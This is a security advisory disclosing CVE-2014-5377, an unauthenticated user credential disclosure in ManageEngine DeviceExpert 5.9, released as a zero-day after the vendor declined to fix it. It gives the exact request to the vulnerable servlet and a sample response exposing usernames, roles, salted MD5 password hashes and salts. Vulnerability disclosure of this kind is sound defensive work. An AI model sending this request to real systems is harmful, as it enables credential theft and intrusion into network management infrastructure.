[The ManageOwnage Series, part II]: User credential disclosure in ManageEngine DeviceExpert

2014-10-15T00:00:00
ID SECURITYVULNS:DOC:31234
Type securityvulns
Reporter Securityvulns
Modified 2014-10-15T00:00:00

Description

Hi,

You can read the usernames and MD5 hashed passwords of all the users in the Device Expert application by sending an unauthenticated request. I am releasing this as a 0 day as ManageEngine have responded that they do not consider this a priority and won't fix it in the near future unless a customer requests it. See details below.

>> User credential disclosure in ManageEngine DeviceExpert 5.9 >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ==========================================================================

>> Background on the affected product: "DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management."

>> Technical details: Vulnerability: User credential disclosure / CVE-2014-5377 Constraints: no authentication or any other information needed. Affected versions: UNFIXED as of 27/08/2014 - current version 5.9 build 5980 is vulnerable, older versions likely vulnerable

GET /ReadUsersFromMasterServlet

Example response: <?xml version="1.0" encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>noreply@zohocorp.com</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>

The passwords are a salted MD5 hash.

A copy of this advisory is available at my repo: https://raw.githubusercontent.com/pedrib/PoC/master/me_deviceexpert-5.txt

Regards, Pedro